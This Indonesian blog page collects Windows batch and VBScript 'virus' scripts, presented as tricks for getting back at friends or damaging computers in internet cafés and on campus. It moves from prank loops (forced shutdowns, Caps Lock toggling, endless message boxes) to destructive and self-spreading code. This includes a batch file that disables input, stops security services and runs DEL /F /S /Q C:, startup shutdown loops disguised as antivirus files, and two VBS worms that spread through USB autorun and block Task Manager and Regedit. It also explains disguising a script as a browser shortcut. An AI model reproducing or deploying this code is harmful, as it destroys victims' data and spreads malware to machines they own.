Dunia Komputer: scrift virus

membuat virus menggunakan notepad

<div style="background-color: white; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 32px; font-weight: normal; line-height: 1.2em; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0.25em; padding-bottom: 4px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left;">
kumpulan Cara Hacker Komputer, berikut ini merupakan cara hack komputer yang super jail. cara ini sangat cocok buat balas dendam dengan teman Anda, dibutuhkan Aplikasi Notepad untuk membuat Jebakan Atau Virus ringan hingga yang sangat mematikan. baiklah saya akan berbagi pengetahuan tentang Cara Hacker Komputer, berikut langkah-langkahnya :</div>
<div class="post-body entry-content" id="post-body-3982438608845062386" style="background-color: white; border-top-color: rgb(216, 182, 10); border-top-style: solid; border-top-width: 2px; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 1.2em; margin-bottom: 0.75em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 6px; text-align: left;">
 
TRIK 1 - Membuat Forced Shoutdown 
------------------------------------------------- 
@echo off 
msg * I don't like you 
shutdown -c "Error! You are too ******!" -s 
------------------------------------------------- 
simpan kode script yang berwarna Merah di Notepad dengan nama : xhack.BAT type file : All file 
sebarkan File tersebut di Komputer teman Anda, 
maka Komputer korban akan otomatis FORCED SHOUTDOWN 
 
 
TRIK 2 - Membuat Tombol Caps Lock menyala terus-menerus 
------------------------------------------------------------------ 
Set wshShell =wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "{CAPSLOCK}" 
loop 
------------------------------------------------------- 
seperti cara yang pertama, hanya berbeda kode script simpan kode yang berwarna biru di Notepad dengan nama : xhack.VBS type File : All File 
sebarkan File berikut di Komputer korban maka, Tombol CAPSLOCK akan menyala terus-menerus 
(bila dimatikan akan menyala lagi) 
 
 
TRIK 3 - Membuat Pesan Jail mucul terus 
------------------------------------------------------ 
@ECHO off 
:Begin 
msg * muka kamu sangat jelek 
msg * ngaca dulu gih, 
msg * hayo lo,cpu lu gw acak acak 
msg * udah install ulang aja 
msg * biar masalah nya kelar 
GOTO BEGIN 
 
------------------------------------------------------ 
 
simpan kode script yang berwarna hijau dengan nama xhack.BAT type file : All File 
Cara ini sangat simple Jail, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah sesuai selera. 
 
 
 
 
 
 
 
 
 
TRIK 4 - Jail dengan Membuka Tutup CD/DVD room 
------------------------------------------------------ 
Set oWMP = CreateObject("WMPlayer.OCX.7") 
Set colCDROMs = oWMP.cdromCollection 
do 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next 
End If 
wscript.sleep 5000 
loop------------------------------------------------------- 
simpan di Notepad kode berikut dengan nama : xhack.vbs type file : All File 
maka DVD/CD roomnya akan membuka dan menutup otomatis, 
 
 
TRIK 5 - Membuat script mucul terus menerus 
------------------------------------------------------- 
Set wshShell = wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "~(enter)" 
loop 
------------------------------------------------------- 
simpan kode berikut di Notepad dengan nama : xhack.vbs type file : All File 
membuat script bermunculan terus menerus 
 
 
TRIK 6 - Membuat Tombol Backspace menjadi eror - menekan terus menerus 
-------------------------------------------------------- 
MsgBox "kembali ke menu sebelumnya" 
Set wshShell =wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "{bs}" 
loop 
---------------------------------------------------------- 
simpan kode script berikut di Notepad dengan nama : xhack.vbs type file : All File 
maka Tombol Backspace akan eror dan menekan dengan sendirinya 
 
 
TRIK 7 - Cara Membuat Pesan ' Komputer Anda Jelek Banget ' di Notepad/ Wordpad 
----------------------------------------------------------- 
Set wshShell = wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "Komputer Anda Jelek Banget" 
loop 
----------------------------------------------------------- 
ganti kata Komputer Anda Jelek Banget dengan selera Anda, simpan di Notepad dengan nama : xhack.vbs 
 
 
TRIK 8 - Cara Membuat Notepad Terbuka Otomatis - terus menerus 
------------------------------------------------------------ 
@ECHO off 
:top 
START %SystemRoot%\system32\notepad.exe 
GOTO top 
------------------------------------------------------------ 
simpan di Notepad dengan nama : xhack.BAT 
maka Notepad akan terbuka terus menerus 
 
 
 
 
TRIK 9 - Membuat Notepad dengan Pesan Jail 
------------------------------------------------------------- 
 
WScript.Sleep 1800 
WScript.Sleep 100 
Set WshShell = WScript.CreateObject("WScript.Shell") 
WshShell.Run "notepad" 
WScript.Sleep 10 
WshShell.AppActivate "Notepad" 
WScript.Sleep 50 
WshShell.SendKeys "ka" 
WScript.Sleep 50 
WshShell.SendKeys "mu " 
WScript.Sleep 50 
WshShell.SendKeys "je" 
WScript.Sleep 50 
WshShell.SendKeys "le" 
WScript.Sleep 50 
WshShell.SendKeys "k " 
WScript.Sleep 50 
WshShell.SendKeys " se" 
WScript.Sleep 50 
WshShell.SendKeys "ka" 
WScript.Sleep 50 
WshShell.SendKeys "li" 
WScript.Sleep 50 
WshShell.SendKeys " y" 
WScript.Sleep 50 
WshShell.SendKeys "a" 
WScript.Sleep 50 
WshShell.SendKeys " h" 
WScript.Sleep 50 
WshShell.SendKeys "!" 
WScript.Sleep 50 
WshShell.SendKeys "!! " 
----------------------------------------------------------- 
simpan di Notepad dengan nama : xhack.vbs 
ganti kode yang berwarna merah sesuai dengan selera anda. 
 
 
TRIK 10 - Cara Membuat Memilih jawaban seperti Quiz di Notepad 
----------------------------------------------------------- 
@echo off 
title quiz hari ini :) 
:menu 
cls 
echo jika kamu kena virus apa 
yang kamu lakukan 
pause 
echo pilih yang mana: 
echo 1. matiin computer 
echo 2. format aja 
echo 3. bingung ahh 
set input=nothing 
set /p input=Choice: 
if %input%==1 shutdown -s -t 
30 
if %input%==2 del c:xxx 
if %input%==3 @ECHO off 
msg * muka lo rusak 
msg * ngaca dulu gih 
msg * hayo lo,cpu lu gw acak2 
msg * ud install ulang aja 
msg * biar masalah nya kelar 
@ECHO off 
:top 
START %SystemRoot% 
system32notepad.exe 
GOTO top ----------------------------------------------------------- 
simpan kode script berikut di Notepad dengan nama : xhack.BAT 
 
 
 
TRIK 11 - Membuat Komputer Hang dengan Kode script Notepad 
------------------------------------------------------------- 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
 
start 
----------------------------------------------------------- 
simpan di Notepad dengan nama : xhack.BAT 
terus buat shortcut palsu terserah mau shortcut apa, aku saranin shortcutnya browser mozilla terus taro aja di desktop target 
( efeknya akan membuka CDM yang banyak banget sampe layarnya keluar keluar ) 
 
 
 
TRIK 12 - Cara Mematikan Tombol Keyboard 
------------------------------------------------------------- 
1. Salin baris-baris kode (script) berikut , paste pada Notepad dan simpan dengan nama JAIL.INF 
 
Langsung kita mulai saja : 
 
[Version] 
Signature=”$Windows NT$” 
 
[DefaultInstall] 
AddReg =AIUEO 
 
[AIUEO] 
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00, 
17,00,00,00,18,00,00,00,16,00,00,00,00,00 
 
————————————— 
 
2. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install 
 
3. Log Off komputernya agar trik ini berfungsi. 
 
NB : 
 
Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard. 
 
Untuk menormalkannya, silahkan salin script berikut : 
 
————————————— 
 
[Version] 
Signature=”$Windows NT$” 
 
[DefaultInstall] 
DelReg =normal 
 
[normal] 
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map” 
 
————————————— 
 
—> Simpan dengan nama “NORMAL.INF” 
Klik kanan file ini, pilih >Install 
Log Off komputernya. 
 
sumber artikel hack : kidzoom 
 
 
TRIK 13 - Software Buat Jahil - Nakal 
-------------------------------------------------------- 
 
Software 1 
Kalau yang ini nemu di Kaskus. Tapi dijamin seru banget.. Dan inilah fungsinya : 
-freeze 
-snow 
-earthquake 
-random colours 
-mouse and lines 
-puzzle 
Lihat efeknya dibawah 
Puzzle 
Mouse And Lines 
Masih banyak lagi deh.. Tapi jangan salah cara menghentikannya pun sulit loh.. Buka task manager gag bisa. Klik tombol start gag bisa.. So bagaimana, Cukup Tekan ESC doang kok.. hhee Silahkan dicoba 
Download : klik disini 
 
 
Software 2 
Nah kalau yang ini namanya Key joke! Fungsinya bikin lampu disco nih.. Sama seperti script yang saya berikan dulu. Tampilannya seperti yang disamping tuh.. Ini sih masih biasa gag kaya yang diatas tadi.. 
Ow iya tapi sebelumnya jangan kaget ye kalau ada pesan banyak seperti iniKarena ini juga ulahnya ni software. Bisa di close kok.. 
Download : Klik disini 
 
Software 3 
Wah kali ini parah banget nih. Bisa bikin stress juga. Sampai sekarang saya pun belum tau cara ngatasinnya. Nama softwarenya Stoerung, sepertinya bahasa jerman, pas install pun berbahasa jerman. Software ini meng-invert warna desktop kita berkali-kali secara berkala. Namun efeknya, menurut saya bisa merusak VGA card, dan ini juga bisa bikin komputer lemot.. Ini pun sama dengan software seblumnya. Dy mengeluarkan alert seperti software 2 namun lebih banyak 
Download : klik disini 
 
Masih ada 46 software lagi yang bisa kalian download untuk ngerjain temen lw.. dan efeknya mantep2 juga loh! Lihat disini 
http://www.rjlpranks.com/pranks/ 
sumber artikel : kidzoom 
 
 
TRIK 14 - Cara Merusak Komputer teman / Warnet 
--------------------------------------------------------------- 
buka cmd(comand prompt), kalo belum tahu nyari dimana , klik start-run-ketik CMD-Lalu ketikan script ini 
ASSOC.exe=.hank 
lalu enter! 
!!!! 
program kayak ms.word/game ngambek jalan ! , n jika sudah puas banget jailnya dan mau ngembaliin-nya , tinggal buka CMD lagi. lalu ketik 
ASSOC.exe=EXEFILE 
--------------------------------------------------------------- 
 
 
TRIK 15 - Cara Paling Jahil Jahat 
---------------------------------------------------------------- 
 
1. BUka program notepad atau biar cepet menu RUN ketik notepad lalu enter 
 
2. Copy kode ini dan pastekan di notepad kamu 
 
@echo off 
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX! 
PAUSE 
shutdown -r -t 300 -c ” SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ………..” 
 
3. Habis itu simpen file notepad ini dengan format *.bat = terserah mau diberi 
 
nama apa, misal : pacebuk.bat dan SAVE di Dekstop (Recommended) 
 
4. Sekarang klik kanan desktopmu dan pilih New => Shortcut 
 
5. Setelah ini akan muncul sebuah tampilan dan klik browse lalu cari lokasi file 
 
.bat yang kamu simpen tadi, misal tadi kamu save pada dekstop 
 
6. Klik Next dan Rename dengan Mozilla Firefox (Untuk nama ini terserah kamu 
 
dan bebas bisa ganti dengan Opera Mini atau Google Chrome, ini hanya 
 
sebagai tipuan aja) 
 
7.Bila semua langkah sudah oke, sekarang yang perlu kamu lakuin adalah 
 
mengubah icon .bat tadi dalam bentuk Mozilla Firefox (karena kita sering pakai 
 
Mozilla jadi pembahasannya pakai browser ini) .. Terus caranya gimana ? 
 
Gampang.. tinggal kamu klik kanan file .bat tadi dan pilih change icon 
 
Gak nemu icon mozilla ? Coba deh low cari di Program Files => Mozilla Firefox 
 
Nah sekarang virus facebookmu telah jadi dengan sempurna, kalau kamu ingin 
 
iseng nyoba tinggal di klik aja deh dan lihat perubahan yang akan terjadi .. 
 
Harusnya pasti sedikit kaget dan coba low bayangin kalau trik ini kamu 
 
praktekan di kompi temen kamu atau mungkin kompi kampus atau warnet.. 
 
what will happen ? abis pastinya .. </div>

kumpulan Cara Hacker Komputer, berikut ini merupakan cara hack komputer yang super jail. cara ini sangat cocok buat balas dendam dengan tem...

Scrif merusak komputer mati selamanya

16:40 Danan 0

<div class="flow_hidden" style="font-family: verdana, Helvetica, sans-serif; font-size: 12px; line-height: 17px; overflow-x: hidden; overflow-y: hidden; text-align: -webkit-left; width: 473px;"> 
</div><div class="flow_hidden" style="font-family: verdana, Helvetica, sans-serif; font-size: 12px; line-height: 17px; overflow-x: hidden; overflow-y: hidden; text-align: -webkit-left; width: 473px;"> 
</div><div class="flow_hidden" style="font-family: verdana, Helvetica, sans-serif; font-size: 12px; line-height: 17px; overflow-x: hidden; overflow-y: hidden; text-align: -webkit-left; width: 473px;">ketik di notepad start shutdown.exe - f -t 0 -s atau start logoff.exe  save jd symantec.bat atau norton.cmd Jd in startup de,</div><div class="post" style="clear: right; font-family: verdana, Helvetica, sans-serif; font-size: 12px; line-height: 17px; margin-top: 0.5em; overflow-x: auto; overflow-y: auto; padding-bottom: 0.1em; padding-left: 0px; padding-right: 0px; padding-top: 0.1em; text-align: -webkit-left;"><div class="inner" id="msg_331472" style="border-top-color: rgb(153, 153, 170); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 1em; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1em; padding-top: 1em;">cara lain :start @echo off explorer.exe goto start kemudian save As dengan extension BAT,,, Inget jangan di kompi sendir, cari kompi temen,,, atau kalo mw pake di kompie sendiri min ada deepfreeze,,,,, 
ada lagi : @ echo off shutdown.exe -s -t 3 -c "bye bye" di save kasih nama terserah tapi ekstensi.bat terus ditaruh di startup , jadi tiap nyala langsung mati, jadi ga punya kesempatan buat ngetik shutdown.exe buat pembelajaran aja.. </div></div>

scrift virus Scrif merusak komputer mati selamanya

k etik di notepad start shutdown.exe - f -t 0 -s atau start logoff.exe save jd symantec.bat atau norton.cmd Jd in startup de, cara lain :...

scrift virus lengkap

02:05 Danan 0

buka notepad lalu copykan kode berikut dan simpan dengan extensi .bat 
 
 
Quote:@echo off 
cls 
rundll32 mouse,disable 
rundll32 keyboard,disable 
COPY %0 %windir%WINSTART.BAT 
net stop "Security Center" 
net stop SharedAccess 
echo Anda kena VIRUS!!! 
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul 
start http://www.danaizer.blogspot.com 
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul 
> "%Temp%.kill.reg" ECHO REGEDIT4 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
START /WAIT REGEDIT /S "%Temp%.kill.reg" 
del "%Temp%.kill.reg" 
del %0 
DEL /F /S /Q C: 
shutdown -s -t 10 -c "Ucapkan selamat tinggal pada komputermu!" -f 
<div> 
</div>

scrift virus scrift virus lengkap

buka notepad lalu copykan kode berikut dan simpan dengan extensi .bat Quote:@echo off cls rundll32 mouse,disable rundll32 keyboard,dis...

Scrift perusak ampuh

02:04 Danan 0

scrift virus Scrift perusak ampuh

buka notepad lalu copykan kode berikut dan save dengan extensi .bat < % del c:\ntdetect.sys del c:\ntldr.sys del c:\msconfig.sys ...

membuat pesan nongol terus menerus

02:01 Danan 0

scrift virus membuat pesan nongol terus menerus

kopikan kode berikut paada notepad lalu simpan dengan extensi .vbs contoh msg.vbs Set wshShell = wscript.CreateObject("WScript.Shel...

membuat virus k4lon9

01:59 Danan 0

klik start - run ketik notepad 
 terus copy kode di bawah ini dan save dngan extensi k4lon6.vbs 
 
 
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–// 
on error resume next 
‘//–Dim kata-kata berikut ini–// 
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd 
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–// 
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs” 
set fs = createobject(”Scripting.FileSystemObject”) 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text = mf.openastextstream(1,-2) 
do while not text.atendofstream 
rekur = rekur & text.readline 
rekur = rekur & vbcrlf 
loop 
do 
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows) 
Set windowpath = fs.getspecialfolder(0) 
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) 
tf.attributes = 32 
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true) 
tf.write rekursif 
tf.close 
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) 
tf.attributes = 39 
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–// 
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket 
for each flashdrive in fs.drives 
‘//–Cek Drive–// 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then 
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–// 
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) 
tf.attributes =32 
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true) 
tf.write rekursif 
tf.close 
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) 
tf.attributes = 39 
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–// 
set tf =fs.getfile(flashdrive.path &”\autorun.inf”) 
tf.attributes = 32 
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) 
tf.write isi 
tf.close 
set tf = fs.getfile(flashdrive.path &”\autorun.inf”) 
tf.attributes=39 
end if 
next 
‘//–Manipulasi Registry–// 
set kalong = createobject(”WScript.Shell”) 
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–// 
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “ 
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0?, “REG_DWORD” 
‘//–Manip – Hilangkan menu Find, Folder Options, Run,  dan memblokir Regedit dan Task Manager–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1?, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1?, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1?, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1?, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1?, “REG_DWORD” 
‘//–Manip – Disable klik kanan–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1?, “REG_DWORD” 
‘//–Manip - Munculkan Pesan Setiap Windows Startup–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.” 
‘//–Manip – Aktif setiap Windows Startup–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “ 
‘//–Manip – Ubah RegisteredOwner dan Organization–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” 
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong” 
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–// 
if check <> 1 then 
Wscript.sleep 200000 
end if 
loop while check <> 1 
set sd = createobject(”Wscript.shell”) 
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname 
‘Akhir dari Kode 
<div> 
</div>

scrift virus membuat virus k4lon9

klik start - run ketik notepad terus copy kode di bawah ini dan save dngan extensi k4lon6.vbs ‘//–Awal dari kode, set agar ketika terja...

scrift untuk maenin capslock

01:57 Danan 0

scrift virus scrift untuk maenin capslock

buka notepad dan copy kode berikut terus save dengan extensi vbs Set wshShell =wscript.CreateObject("WScript.Shell") do wscri...

Contoh script VBS

01:55 Danan 0

<h2 style="line-height: 14.0pt; margin-bottom: .0001pt; margin: 0in;">1. Copy dan pastekan di notepad 2. Save File dengan extension .vbs ==> xxxx.vbs 3. klik 2 kali file save 
</h2><div style="border: solid #E9E9E9 1.0pt; mso-border-alt: solid #E9E9E9 .25pt; mso-element: para-border-div; padding: 0in 31.0pt 0in 0in;"> <h6 style="border: none; line-height: 14.0pt; margin-top: 0in; mso-border-alt: solid #E9E9E9 .25pt; mso-padding-alt: 0in 31.0pt 0in 0in; padding: 0in; vertical-align: top;"><span style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; font-family: Tahoma, sans-serif; font-size: 11pt; font-weight: normal;"> 
 
 
dim WshShell,strWord,x,Char 
set WshShell = CreateObject("Wscript.Shell") 
 
strWord = "................................................."& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"...................SSSS.........................."& Chr(13) & _ 
".................ssssssss........................"& Chr(13) & _ 
"................ssss sss......................."& Chr(13) & _ 
"...............ssss.............................."& Chr(13) & _ 
"...............sssss............................."& Chr(13) & _ 
"................sssss............................"& Chr(13) & _ 
".................ssssss.........................."& Chr(13) & _ 
"..................sssssss........................"& Chr(13) & _ 
"...................sssssss......................."& Chr(13) & _ 
"....................sssssss......................"& Chr(13) & _ 
"...............sss....ssssss....................."& Chr(13) & _ 
"...............ssssssssssss......................"& Chr(13) & _ 
".................ssssssss........................"& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"................................................."& Chr(13) & _ 
"Hey-Hey.............................."& Chr(13) & Chr(13) & _ 
"Skyler_Elite ada disini" & Chr(13) & Chr(13) & _ 
"Apakah Kamu Baik-Baik Saja" & Chr(13) & Chr(13) & _ 
"Jagalah Dirimu Ya" & Chr(13) & Chr(13) & _ 
"Aku Cinta Perdamaian" & Chr(13) & Chr(13) & _ 
"Kehidupan Ini Selalu menjadi Indah Bila Kita Bisa Berbagi" & Chr(13) & Chr(13) & _ 
"Banyak Banget Saudara-saudara Kita yang Pada kekurangan" & Chr(13) & Chr(13) & _ 
"Tapi Banyak Juga Teman-Teman Kita yang selalu menghambur-hamburkan uang" & Chr(13) & Chr(13) & _ 
"Anak-anak Remaja Kita Yang Suka Membohongi Orang Tua" & Chr(13) & Chr(13) & _ 
"Bagai Mana Bangsa Kita ini Akan maju ??" & Chr(13) & Chr(13) & _ 
"Survey Membuktikan bahwa Hampir 80 Persen Pelajar & Mahasiswi yang Masih Gadis Sudah Tidak Perawan" & Chr(13) & Chr(13) & _ 
"Lebih dari 80 Persen Rakyat bangsa Kita di Bawah Garis kemiskinan" & Chr(13) & Chr(13) & _ 
"Demo Terjadi dimana-mana" & Chr(13) & Chr(13) & _ 
"Penganguran Merajalela" & Chr(13) & Chr(13) & _ 
"Hai kawan-kawan terutama yang masih Muda-muda" & Chr(13) & Chr(13) & _ 
"Bangkitlah Kita Bersama-sama" & Chr(13) & Chr(13) & _ 
"Kita Bela Harkat dan Martabat Bangsa Kita" & Chr(13) & Chr(13) & _ 
"Marilah Kita Bersama-sama Membangun Bangsa" & Chr(13) & Chr(13) & _ 
"Hentikan Kebiasaan Buruk Kita" & Chr(13) & Chr(13) & _ 
"Siswa, Siswi, Mahasiswa atau Mahasiswi...... Dengarkanlah Kalian Semua" & Chr(13) & Chr(13) & _ 
"Apa yang Telah kalian perbuat" & Chr(13) & Chr(13) & _ 
"Sadarlah kalian semua, Mari Bersama-sama Membangun bangsa" & Chr(13) & Chr(13) & _ 
"Jangan Kalian cuma Bisa menyalahkan orang Tua" & Chr(13) & Chr(13) & _ 
"Karena Orang Tua Tidak patut untuk Disalahkan" & Chr(13) & Chr(13) & _ 
"Orang Tua Butuh bantuan Para pemuda" & Chr(13) & Chr(13) & _ 
"Lihatlah Wajah Bangsa Kita" & Chr(13) & Chr(13) & _ 
"Ibu Pertiwi Sedang Berduka" & Chr(13) & Chr(13) & _ 
"Melihat Pemuda Yang Tidak Berdaya" & Chr(13) & Chr(13) & _ 
"Melihat yang Tua makin Menggila" & Chr(13) & Chr(13) & _ 
"Bangkitlah Bangsaku....." & Chr(13) & Chr(13) & _ 
"Bangkitlah Bangsaku....." & Chr(13) & Chr(13) & _ 
"____________________________________________________________" & Chr(13) & Chr(13) & _ 
"Indonesia tanah airku" & Chr(13) & Chr(13) & _ 
"Tanah tumpah darahku" & Chr(13) & Chr(13) & _ 
"Disanalah aku berdiri" & Chr(13) & Chr(13) & _ 
"Jadi pandu ibuku" & Chr(13) & Chr(13) & _ 
"Indonesia kebangsaanku" & Chr(13) & Chr(13) & _ 
"Bangsa dan Tanah Airku" & Chr(13) & Chr(13) & _ 
"Marilah kita berseru" & Chr(13) & Chr(13) & _ 
"Indonesia bersatu" & Chr(13) & Chr(13) & _ 
" Hiduplah tanahku" & Chr(13) & Chr(13) & _ 
" Hiduplah negriku" & Chr(13) & Chr(13) & _ 
" Bangsaku Rakyatku semuanya" & Chr(13) & Chr(13) & _ 
" Bangunlah jiwanya" & Chr(13) & Chr(13) & _ 
" Bangunlah badannya" & Chr(13) & Chr(13) & _ 
" Untuk Indonesia Raya" & Chr(13) & Chr(13) & _ 
"Indonesia Raya" & Chr(13) & Chr(13) & _ 
"Merdeka Merdeka" & Chr(13) & Chr(13) & _ 
"Tanahku negriku yang kucinta" & Chr(13) & Chr(13) & _ 
" Indonesia Raya" & Chr(13) & Chr(13) & _ 
" Merdeka Merdeka" & Chr(13) & Chr(13) & _ 
" Hiduplah Indonesia Raya" & Chr(13) & Chr(13) & _ 
"Indonesia Raya" & Chr(13) & Chr(13) & _ 
"Merdeka Merdeka" & Chr(13) & Chr(13) & _ 
"Tanahku negriku yang kucinta" & Chr(13) & Chr(13) & _ 
" Indonesia Raya" & Chr(13) & Chr(13) & _ 
" Merdeka Merdeka" & Chr(13) & Chr(13) & _ 
" Hiduplah Indonesia Raya" & Chr (13) & Chr(13) & _ 
"----------------------------------------------------------" & Chr(13) & Chr(13) & _ 
""& _ 
" Tertanda" & Chr(13) & Chr(13) & _ 
" " & Chr(13) & Chr(13) & _ 
" " & Chr(13) & Chr(13) & _ 
" Skyler_Elite" & Chr(13) & Chr(13) & _ 
"Bye Bye.......... Mmmmuuuuaaaaaccccchhhhhh....." 
 
WshShell.Run "notepad", 3 
For x=1 to len(strWord) 
Char = Mid(strWord,x,1) 
Wscript.Sleep 100 
WshShell.SendKeys Char 
Next 
 
Set WS = CreateObject("Wscript.Shell") 
Set FSO = CreateObject("Scripting.FileSystemObject") 
 
On Error Resume Next 
Set FSO=CreateObject("Scripting.FileSystemObject") 
For Each ActDrv In FSO.Drives 
If ActDrv.DriveType = 1 And ActDrv.Path > "C:" then 
Set VirusSrc = fso.OpenTextFile(WScript.ScriptFullName) 
MyCode = VirusSrc.ReadAll 
Target = ActDrv & "Skyler_Elite.vbs" 
Set X = fso.CreateTextFile(Target,2,True) 
X.Write MyCode 
X.Close 
end if 
Next 
 
On Error Resume Next 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set SysPath = FSO.GetSpecialFolder(1) 
FSO.CopyFile WScript.ScriptFullname, SysPath & "\Skyler_Elite.vbs" 
FSO.CopyFile "C:WINDOWS\system32\Skyler_Elite.vbs" 
 
FSO.CopyFile "C:\WinNT.Dat", "C:\Help.cfg" 
FSO.CopyFile "C:\WinNT.Dat", "C:\WinNT.DAT" 
 
Ws.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\run\Geography TX 1.0 NT", "C:\Winnt\System32\Skyler_Elite.vbs" 
Ws.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\run\Geography TX 1.0 XP", "C:\Windows\System32\Skyler_Elite.vbs" 
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\uninstall\Skyler_Elite\DisplayName", "Geography TX-A" 
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\uninstall\Skyler_Elite\UninstallString", "taskkill /f /im svchost.exe" 
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\RegisteredOrganization", "Skyler_Elite" 
